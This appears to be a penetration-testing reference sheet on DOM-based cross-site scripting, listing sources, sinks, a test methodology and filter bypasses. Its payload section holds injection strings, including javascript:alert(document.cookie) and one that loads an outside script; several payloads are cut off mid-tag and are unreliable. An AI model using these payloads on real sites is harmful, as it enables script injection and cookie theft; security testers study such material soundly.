Dom Xss

DOM-Based Cross-Site Scripting (XSS)

What Is Broken and Why

DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.

Key Signals

• JavaScript reading from: location.hash, location.search, location.href, document.referrer, window.name, document.cookie, postMessage event data
• JavaScript writing to: document.write(), innerHTML, outerHTML, insertAdjacentHTML, eval(), setTimeout(string), setInterval(string), location.href = ..., src attribute assignment, jQuery.html(), jQuery.append()
• Single-page applications (SPAs) with client-side routing
• JavaScript dynamically building page content from URL parameters
• Event handler attributes set from JavaScript using string-based eval-equivalent constructs

Methodology

1. Crawl the application and collect all JavaScript files, inline scripts, and event handlers.
2. Search for DOM source references: location.hash, location.search, document.referrer, window.name.
3. Trace data flow from each source to identify all sinks it reaches.
4. Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).
5. Craft a context-appropriate payload and deliver via the controllable source.
6. Test in a real browser — automated tools miss browser-behavior-dependent execution.
7. Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.

Payloads & Tools

# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x

# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>

# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x

# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="

# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)

# jQuery .html() sink
TARGET/page?search=<img src=x

# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>

# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x
# Victim app reads: document.getElementById('x').innerHTML = window.name

# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })

# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks

# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})

Bypass Techniques

• Fragment (#) payloads are not sent to server, bypassing server-side WAFs and filters
• javascript: URI scheme in href/src sinks when <script> tags are filtered
• Event handlers in injected HTML: <img>, <svg>, <body>
• innerHTML does not execute <script> tags directly — use event handler payloads instead
• Encoding in fragment: %3Cscript%3E may be decoded by decodeURIComponent() before reaching sink
• window.name persists across cross-origin navigations — attacker page can set it
• postMessage with missing or weak origin validation (see web messaging skill)
• Template literal injection in modern JS: eval(\${userInput}`)`